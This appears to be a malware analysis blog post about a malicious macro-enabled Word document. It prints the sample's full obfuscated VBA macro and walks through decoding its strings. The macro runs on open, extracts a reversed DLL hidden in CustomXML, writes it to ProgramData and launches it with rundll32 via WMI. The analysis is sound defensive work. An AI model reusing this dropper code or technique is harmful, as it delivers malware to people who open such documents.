7 minute read

Sample Information

File type: Docm
Hash: 014827baac8a836d570203d3ff88b22957dcedd1cc4eae49e4ac62334f4f4903
File size: 1,406,144 Byte

Starting the Analysis

Using olevba to inspect the embedded code reveals the following macro:

Sub obiwgfhsha()
End Sub
Private Function ylpdfpnmlbmswkm() As Variant
    ylpdfpnmlbmswkm = Array("chs", "cht", "deu", "enu", "esn", "fra", "ita", "jpn", "kor", "rus")
End Function
Private Function cwqykutktzoyalcwyhbf() As Variant
    cwqykutktzoyalcwyhbf = Array("A1", "BU", "CZ", "DA", "FI", "FR", "GR", "HE", "HEB", "HU", "IC", "IT", "KOR", "NE", "NO", "PL1", "RO", "RU", "SP")
End Function
Private Sub Document_Open()
    zwxcnxajcshyp True
End Sub
Private Sub dtlqnhxneoffkjywab(kwzbshccypfxpbrc As Boolean)
    If Dir(".gattaka") <> "" Then
        MsgBox "Not applicable environment", vbCritical, "Error"
    Else
        
    End If
End Sub
Private Function tylkftcicrjxfvkh(jrdhrfrnwmiz As String) As Byte()
    Dim tjsjtweivmxniyr As Long, cthcsdekmdaszjq As Long
    Dim wzkjzdvximq() As Byte
    Dim ayxhcvijnqwfjysy As Long
    Dim sndhqsilovqxlairz As String
    tjsjtweivmxniyr = Len(jrdhrfrnwmiz)
    ReDim wzkjzdvximq(0 To tjsjtweivmxniyr / 2 - 1)
    ayxhcvijnqwfjysy = LBound(wzkjzdvximq)
    sndhqsilovqxlairz = rrhzspxkphvvy("137171")
    For cthcsdekmdaszjq = tjsjtweivmxniyr - 1 To 0 Step -2
        wzkjzdvximq(ayxhcvijnqwfjysy) = CByte(CLng(sndhqsilovqxlairz + (Mid(jrdhrfrnwmiz, cthcsdekmdaszjq, 2))))
        ayxhcvijnqwfjysy = ayxhcvijnqwfjysy + 1
    Next cthcsdekmdaszjq
    tylkftcicrjxfvkh = wzkjzdvximq
End Function
Private Sub raeozmfjnymq(pvnynzivlnpbtfcckhkm As String, cpnptsrgjlywqowekc() As Byte, Optional tiifnysxfmhsk As Boolean = False)
    Dim dehrfnjjvdqvcc As Integer
    Dim vnffvklapudjuz As String
    Dim qpichnhnlchfa As String
    If Not tiifnysxfmhsk Then
        dehrfnjjvdqvcc = FreeFile
        Open pvnynzivlnpbtfcckhkm For Binary As #dehrfnjjvdqvcc
        Put #dehrfnjjvdqvcc, 1, cpnptsrgjlywqowekc
        Close #dehrfnjjvdqvcc
    Else
        vnffvklapudjuz = "Abnormal termination"
        MsgBox vnffvklapudjuz, vbCritical
    End If
End Sub
Public Function rrhzspxkphvvy(fdoeegskucopx As String, Optional ghsivksfeumnzg As Long = 3) As String
    Dim jzlnlozvokud As Object
    Dim pudllqzagmavmy As Long
    Dim fmxstnluywhfyhfeagi As String
    Set jzlnlozvokud = siudlfagynaqsgxowx(60, 510, 99, 2)
    For pudllqzagmavmy = 1 To Len(fdoeegskucopx) Step ghsivksfeumnzg
        fmxstnluywhfyhfeagi = fmxstnluywhfyhfeagi + jzlnlozvokud(CInt(Mid(fdoeegskucopx, pudllqzagmavmy, ghsivksfeumnzg)))
    Next pudllqzagmavmy
    rrhzspxkphvvy = fmxstnluywhfyhfeagi
End Function
Private Function siudlfagynaqsgxowx(gegsprvpfmdyscnbyit As Long, fbhkzyybhnzl As Long, uywjraarktmwpduqnygc As Long, rknjbtxnvcdpfsyob As Long) As Object
    Dim whlhgdkoeq As Object
    Dim esxcxsbnadcjdqp As Long
    Set whlhgdkoeq = CreateObject("Scripting.Dictionary")
    For esxcxsbnadcjdqp = gegsprvpfmdyscnbyit / rknjbtxnvcdpfsyob To fbhkzyybhnzl / rknjbtxnvcdpfsyob
        whlhgdkoeq(esxcxsbnadcjdqp + uywjraarktmwpduqnygc) = Chr(esxcxsbnadcjdqp)
    Next esxcxsbnadcjdqp
    Set siudlfagynaqsgxowx = whlhgdkoeq
End Function
Private Function zmzddjxylinzyx(lpxbxbgcxxpgmj() As Byte, rmbcpbmsbs() As Byte) As Byte()
    Dim cwwodgeulknd() As Byte
    Dim tsvilkfgvtu As Long, smbekfvtubycqf As Long
    ReDim cwwodgeulknd(0 To UBound(lpxbxbgcxxpgmj) + UBound(rmbcpbmsbs) + 1)
    smbekfvtubycqf = 0
    For tsvilkfgvtu = LBound(lpxbxbgcxxpgmj) To UBound(lpxbxbgcxxpgmj)
        cwwodgeulknd(smbekfvtubycqf) = lpxbxbgcxxpgmj(tsvilkfgvtu)
        smbekfvtubycqf = smbekfvtubycqf + 1
    Next tsvilkfgvtu
    For tsvilkfgvtu = LBound(rmbcpbmsbs) To UBound(rmbcpbmsbs)
        cwwodgeulknd(smbekfvtubycqf) = rmbcpbmsbs(tsvilkfgvtu)
        smbekfvtubycqf = smbekfvtubycqf + 1
    Next tsvilkfgvtu
    zmzddjxylinzyx = cwwodgeulknd
End Function
Private Function lcjsxjbkldksstie() As Byte()
    Const retkrmjepnvpt = "174165"
    Const kppsxxgzlizwzk = "145167175175"
    Dim bvtmffmapjkqz As Integer
    Dim phtlfmyqnkhwagf As Variant
    Dim xijjpjosysboevz() As Byte
    Dim asertrmporfilkp() As Byte
    Dim qbtpnhioyfve() As Byte
    Randomize
    bvtmffmapjkqz = CInt(Rnd * 100)
    If bvtmffmapjkqz > 100 Then
        phtlfmyqnkhwagf = ylpdfpnmlbmswkm
    Else
        phtlfmyqnkhwagf = cwqykutktzoyalcwyhbf
    End If
    bvtmffmapjkqz = Rnd * UBound(phtlfmyqnkhwagf)
    xijjpjosysboevz = phtlfmyqnkhwagf(bvtmffmapjkqz)
    qbtpnhioyfve = zmzddjxylinzyx(rrhzspxkphvvy(retkrmjepnvpt), xijjpjosysboevz)
    ReDim asertrmporfilkp(0 To 1)
    asertrmporfilkp(0) = CInt(Rnd * 9 + 48)
    qbtpnhioyfve = zmzddjxylinzyx(qbtpnhioyfve, asertrmporfilkp)
    asertrmporfilkp = rrhzspxkphvvy(kppsxxgzlizwzk)
    qbtpnhioyfve = zmzddjxylinzyx(qbtpnhioyfve, asertrmporfilkp)
    lcjsxjbkldksstie = qbtpnhioyfve
End Function
Sub yoxtuitsmsvbjfepuxc()
    zwxcnxajcshyp True
End Sub
Private Sub zwxcnxajcshyp(zdhyapqsagz As Boolean)
    Const merrdjtosyhjjuraz = "166157191179213210202213196208167196215196191"
    Const iujnoejlhsccsg = "218204209208202208215214157222204208211200213214210209196215204210209175200217200207160204208211200213214210209196215200224132191191145191213210210215191198204208217149"
    Const qpwyadnvluauprq = "186204209150149194179213210198200214214182215196213215216211"
    Const lwflmkaqbtsalhmvh = "218204209208202208215214157213210210215191198204208217149157186204209150149194179213210198200214214"
    Const ichejlnhmywnfzndkdg = "203215215211157146146207210198196207203210214215146"
    Dim pnjbsrngsgckjayoasd() As Byte
    Dim diowrynmsjektmzbl As String
    Dim nvplchnzsnuzfpoy As String
    If Dir(".gattaka") <> "" Then
        MsgBox "Obsolete environment, please, update", vbInformation
    Else
        If zdhyapqsagz Then
            pnjbsrngsgckjayoasd = tylkftcicrjxfvkh(ActiveDocument.CustomXMLParts(rrhzspxkphvvy(ichejlnhmywnfzndkdg)).SelectSingleNode("/").Text)
            diowrynmsjektmzbl = lcjsxjbkldksstie
            raeozmfjnymq rrhzspxkphvvy(merrdjtosyhjjuraz) + diowrynmsjektmzbl, pnjbsrngsgckjayoasd, False
            pnjbsrngsgckjayoasd = rrhzspxkphvvy(merrdjtosyhjjuraz)
            Set fhfcsnunstz = GetObject(rrhzspxkphvvy(iujnoejlhsccsg))
            Set xydisndhrfnkrmnael = fhfcsnunstz.Get(rrhzspxkphvvy(qpwyadnvluauprq))
            Set ieupzwunaig = xydisndhrfnkrmnael.SpawnInstance_
            Set mpuduxzmupgceh = GetObject(rrhzspxkphvvy(lwflmkaqbtsalhmvh))
            nvplchnzsnuzfpoy = rrhzspxkphvvy("213216209199207207150149131") + rrhzspxkphvvy(merrdjtosyhjjuraz) + diowrynmsjektmzbl + rrhzspxkphvvy("143204209204215")
            vdibilucsvcvqrqhgbyy = mpuduxzmupgceh.Create(nvplchnzsnuzfpoy, Null, ieupzwunaig, uyyuhnoffydfft)
        Else
        End If
    End If
End Sub

This code is obfuscated, so I followed the analysis process below:

1. Find the entry point
2. Identify the main function
3. Analyze the decoding routine
4. Analyze the main function

Finding the Entry Point

This code is embedded in a DOCM document and is triggered through Document_Open().

The document is configured to execute automatically when it is opened.

Private Sub Document_Open()
    zwxcnxajcshyp True
End Sub

This is the starting point of execution, and zwxcnxajcshyp appears to be the main routine.

Identifying the Main Function

Private Sub zwxcnxajcshyp(zdhyapqsagz As Boolean)
    Const merrdjtosyhjjuraz = "166157191179213210202213196208167196215196191"
    Const iujnoejlhsccsg = "218204209208202208215214157222204208211200213214210209196215204210209175200217200207160204208211200213214210209196215200224132191191145191213210210215191198204208217149"
    Const qpwyadnvluauprq = "186204209150149194179213210198200214214182215196213215216211"
    Const lwflmkaqbtsalhmvh = "218204209208202208215214157213210210215191198204208217149157186204209150149194179213210198200214214"
    Const ichejlnhmywnfzndkdg = "203215215211157146146207210198196207203210214215146"
    Dim pnjbsrngsgckjayoasd() As Byte
    Dim diowrynmsjektmzbl As String
    Dim nvplchnzsnuzfpoy As String
    If Dir(".gattaka") <> "" Then
        MsgBox "Obsolete environment, please, update", vbInformation
    Else
        If zdhyapqsagz Then
            pnjbsrngsgckjayoasd = tylkftcicrjxfvkh(ActiveDocument.CustomXMLParts(rrhzspxkphvvy(ichejlnhmywnfzndkdg)).SelectSingleNode("/").Text)
            diowrynmsjektmzbl = lcjsxjbkldksstie
            raeozmfjnymq rrhzspxkphvvy(merrdjtosyhjjuraz) + diowrynmsjektmzbl, pnjbsrngsgckjayoasd, False
            pnjbsrngsgckjayoasd = rrhzspxkphvvy(merrdjtosyhjjuraz)
            Set fhfcsnunstz = GetObject(rrhzspxkphvvy(iujnoejlhsccsg))
            Set xydisndhrfnkrmnael = fhfcsnunstz.Get(rrhzspxkphvvy(qpwyadnvluauprq))
            Set ieupzwunaig = xydisndhrfnkrmnael.SpawnInstance_
            Set mpuduxzmupgceh = GetObject(rrhzspxkphvvy(lwflmkaqbtsalhmvh))
            nvplchnzsnuzfpoy = rrhzspxkphvvy("213216209199207207150149131") + rrhzspxkphvvy(merrdjtosyhjjuraz) + diowrynmsjektmzbl + rrhzspxkphvvy("143204209204215")
            vdibilucsvcvqrqhgbyy = mpuduxzmupgceh.Create(nvplchnzsnuzfpoy, Null, ieupzwunaig, uyyuhnoffydfft)
        Else
        End If
    End If
End Sub

Looking at this function, a few characteristics stand out:

1. It declares strings composed only of numbers.
2. It uses `rrhzspxkphvvy` whenever those strings are consumed.

Based on that, rrhzspxkphvvy is very likely the decoding function.

The remaining logic can be understood after decoding the strings.

Analyzing the Decoding Routine

Following the decoding routine leads to the code below:

Public Function rrhzspxkphvvy(fdoeegskucopx As String, Optional ghsivksfeumnzg As Long = 3) As String
    Dim jzlnlozvokud As Object
    Dim pudllqzagmavmy As Long
    Dim fmxstnluywhfyhfeagi As String
    Set jzlnlozvokud = siudlfagynaqsgxowx(60, 510, 99, 2)
    For pudllqzagmavmy = 1 To Len(fdoeegskucopx) Step ghsivksfeumnzg
        fmxstnluywhfyhfeagi = fmxstnluywhfyhfeagi + jzlnlozvokud(CInt(Mid(fdoeegskucopx, pudllqzagmavmy, ghsivksfeumnzg)))
    Next pudllqzagmavmy
    rrhzspxkphvvy = fmxstnluywhfyhfeagi
End Function

Private Function siudlfagynaqsgxowx(gegsprvpfmdyscnbyit As Long, fbhkzyybhnzl As Long, uywjraarktmwpduqnygc As Long, rknjbtxnvcdpfsyob As Long) As Object
    Dim whlhgdkoeq As Object
    Dim esxcxsbnadcjdqp As Long
    Set whlhgdkoeq = CreateObject("Scripting.Dictionary")
    For esxcxsbnadcjdqp = gegsprvpfmdyscnbyit / rknjbtxnvcdpfsyob To fbhkzyybhnzl / rknjbtxnvcdpfsyob
        whlhgdkoeq(esxcxsbnadcjdqp + uywjraarktmwpduqnygc) = Chr(esxcxsbnadcjdqp)
    Next esxcxsbnadcjdqp
    Set siudlfagynaqsgxowx = whlhgdkoeq
End Function

In short, rrhzspxkphvvy splits the numeric string into 3-character chunks and interprets each chunk as a key into a dictionary.

The dictionary values are then concatenated into a decoded string.

That dictionary is produced by siudlfagynaqsgxowx.

1. ASCII codes from 30 to 255 are stored as dictionary values
2. The keys range from 129 to 353
3. The input string is split every three characters and used as a key
4. The attacker reconstructs the desired string from those values

Once the method is understood, the encoded strings can be decoded:

Const merrdjtosyhjjuraz = "C:\ProgramData\"
Const iujnoejlhsccsg = "winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2"
Const qpwyadnvluauprq = "Win32_ProcessStartup"
Const lwflmkaqbtsalhmvh = "winmgmts:root\cimv2:Win32_Process"
Const ichejlnhmywnfzndkdg = "http://localhost/"

These are the strings recovered from the decoding step.

Analyzing the Main Function

Replacing the obfuscated values with the decoded strings makes the logic much easier to read:

pnjbsrngsgckjayoasd = tylkftcicrjxfvkh(ActiveDocument.CustomXMLParts("http://localhost/").SelectSingleNode("/").Text)
diowrynmsjektmzbl = lcjsxjbkldksstie
raeozmfjnymq "C:\ProgramData\" + diowrynmsjektmzbl, pnjbsrngsgckjayoasd, False
pnjbsrngsgckjayoasd = "C:\ProgramData\"
Set fhfcsnunstz = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set xydisndhrfnkrmnael = fhfcsnunstz.Get("Win32_ProcessStartup")
Set ieupzwunaig = xydisndhrfnkrmnael.SpawnInstance_
Set mpuduxzmupgceh = GetObject("winmgmts:root\cimv2:Win32_Process")
nvplchnzsnuzfpoy = "rundll32" + rrhzspxkphvvy(merrdjtosyhjjuraz) + diowrynmsjektmzbl + ",init"
vdibilucsvcvqrqhgbyy = mpuduxzmupgceh.Create(nvplchnzsnuzfpoy, Null, ieupzwunaig, uyyuhnoffydfft)

The logic is much clearer after the decode step.

ActiveDocument.CustomXMLParts("http://localhost/").SelectSingleNode("/").Text

This code reads the content stored under the http://localhost/ CustomXML namespace in the OOXML structure.

If the malicious sample is renamed to .zip and unpacked, a file such as customXml/item1.xml can be found inside.

<custom-xml-content xmlns="http://localhost/">hex value</custom-xml-content>

The XML looks like this, although the actual hex data is much longer.

If that hex value is copied into HxD, it becomes an unknown file format at first glance. Looking at the tail of the file reveals its identity.

images

The resulting file is a PE file stored in reverse order.

At this point it is still not obvious whether the payload is an EXE or a DLL.

That becomes clear after looking a bit further into the code.

diowrynmsjektmzbl = lcjsxjbkldksstie

Here, lcjsxjbkldksstie is a function that returns a specific value.

Private Function lcjsxjbkldksstie() As Byte()
Const retkrmjepnvpt = "174165" 'KB
Const kppsxxgzlizwzk = "145167175175" '.dll
Dim bvtmffmapjkqz As Integer
Dim phtlfmyqnkhwagf As Variant
Dim xijjpjosysboevz() As Byte
Dim asertrmporfilkp() As Byte
Dim qbtpnhioyfve() As Byte
Randomize
bvtmffmapjkqz = CInt(Rnd * 100)
If bvtmffmapjkqz > 100 Then
    phtlfmyqnkhwagf = ylpdfpnmlbmswkm
Else
    phtlfmyqnkhwagf = cwqykutktzoyalcwyhbf
End If
bvtmffmapjkqz = Rnd * UBound(phtlfmyqnkhwagf)
xijjpjosysboevz = phtlfmyqnkhwagf(bvtmffmapjkqz)
qbtpnhioyfve = zmzddjxylinzyx(rrhzspxkphvvy(retkrmjepnvpt), xijjpjosysboevz)
ReDim asertrmporfilkp(0 To 1)
asertrmporfilkp(0) = CInt(Rnd * 9 + 48)
qbtpnhioyfve = zmzddjxylinzyx(qbtpnhioyfve, asertrmporfilkp)
asertrmporfilkp = rrhzspxkphvvy(kppsxxgzlizwzk)
qbtpnhioyfve = zmzddjxylinzyx(qbtpnhioyfve, asertrmporfilkp)
lcjsxjbkldksstie = qbtpnhioyfve
End Function

A quick analysis shows that this function constructs the output file name, which suggests that the recovered PE is a DLL.

A more detailed look shows that the malware generates the file name randomly.

At this point the overall behavior is mostly understood.

Remaining Logic

The remaining code sets the output path and then launches the generated DLL through rundll32.

Conclusion

This sample is a dropper that writes a DLL to disk and executes it.

댓글남기기